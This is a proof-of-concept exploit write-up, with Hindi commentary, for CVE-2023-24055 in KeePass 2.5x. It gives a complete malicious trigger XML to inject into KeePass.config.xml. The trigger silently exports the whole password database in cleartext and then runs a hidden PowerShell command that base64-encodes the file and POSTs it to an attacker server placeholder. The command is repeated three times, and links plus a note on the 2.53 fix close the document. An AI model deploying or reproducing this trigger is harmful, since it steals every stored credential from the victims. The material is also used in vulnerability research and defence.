
CVE-2023-24055 PoC (KeePass 2.5x)
https://sourceforge.net/p/keepass/discussion/329220/thread/a146e5cf6b/
https://sourceforge.net/p/keepass/feature-requests/2773/
एक हमलावर जिसके पास KeePass कॉन्फ़िगरेशन फ़ाइल में लिखने की पहुंच है, वह इसे संशोधित कर सकता है और दुर्भावनापूर्ण ट्रिगर इंजेक्ट कर सकता है, उदाहरण के लिए एक निर्यात ट्रिगर जोड़कर स्पष्ट पाठ पासवर्ड प्राप्त कर सकता है।
https://nvd.nist.gov/vuln/detail/CVE-2023-24055
https://www.cve.org/CVERecord?id=CVE-2023-24055
(1) एक हमलावर जिसके पास KeePass कॉन्फ़िगरेशन फ़ाइल KeePass.config.xml में लिखने की पहुंच है, वह निम्नलिखित ट्रिगर इंजेक्ट कर सकता है, उदाहरण के लिए:
<?xml version="1.0" encoding="utf-8"?>
<TriggerCollection xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Triggers>
<Trigger>
<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
<Name>exploit</Name>
<Events>
<Event>
<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
<Parameters>
<Parameter>0</Parameter>
<Parameter />
</Parameters>
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
<Parameters>
<Parameter>c:\Users\John\AppData\Local\Temp\exploit.xml</Parameter>
<Parameter>KeePass XML (2.x)</Parameter>
<Parameter />
<Parameter />
</Parameters>
</Action>
<Action>
<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
<Parameters>
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\John\AppData\Local\Temp\exploit.xml'))) </Parameter>
<Parameter>False</Parameter>
<Parameter>1</Parameter>
<Parameter />
</Parameters>
</Action>
</Actions>
</Trigger>
</Triggers>
</TriggerCollection>
(2) पीड़ित सामान्य गतिविधि के रूप में KeePass खोलेगा, परिवर्तन सहेजेगा, आदि। ट्रिगर पृष्ठभूमि में निष्पादित होगा और क्रेडेंशियल्स को हमलावर सर्वर पर बाहर निकाल देगा।
a) ट्रिगर KeePass डेटाबेस को KeePass XML (2.x) प्रारूप में निर्यात करेगा, जिसमें सभी क्रेडेंशियल्स (स्पष्ट पाठ) शामिल होंगे, निम्नलिखित पथ पर, उदाहरण के लिए:
c:\Users\John\AppData\Local\Temp\exploit.xml
b) फ़ाइल निर्यात होने के बाद, XML डेटा को Powershell.exe का उपयोग करके बाहर निकालने और base64 में एन्कोड करने के लिए दूसरी कार्रवाई परिभाषित की जा सकती है, उदाहरण के लिए:
PowerShell.exe -ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\John\AppData\Local\Temp\exploit.xml')))
c) डेटा हमलावर वेब सर्वर पर बाहर निकल जाएगा, उदाहरण के लिए:

Name: Trigger
Events: Saved database file | [Equals]
Conditions: <empty>
Actions:
(1) Export active database
File/URL: c:\Users\John\AppData\Local\Temp\exploit.xml
File/Format: KeePass XML (2.x)
(2) Execute command line / URL
File/URL: PowerShell.exe
Arguments: -ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\John\AppData\Local\Temp\exploit.xml')))
Window style: Hidden
क्रेडेंशियल्स...
PS C:\Users\John\AppData\Local\Temp> type .\exploit.xml | Select-String -Pattern Password


https://keepass.info/help/kb/trigger_examples.html
https://keepass.info/news/n230109_2.53.html
Removed the 'Export - No Key Repeat' application policy flag; KeePass now always asks for the current master key when trying to export data.
https://www.trustedsec.com/blog/what-this-keepass-cve-means-for-organizations-searching-for-new-password-vaults/
https://www.youtube.com/watch?v=OEaFaSjaZY4
https://www.youtube.com/watch?v=iz0PsYlH8Ig
https://www.it-connect.fr/keepass-2-53-1-une-nouvelle-version-qui-corrige-la-vulnerabilite/
https://www.it-connect.fr/faille-critique-dans-keepass-un-attaquant-peut-exporter-les-mots-de-passe-en-clair/
https://github.com/deetl/CVE-2023-24055
https://blog.harmj0y.net/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/
https://github.com/Orange-Cyberdefense/KeePwn
Alex Hernandez उर्फ़ (@_alt3kx_)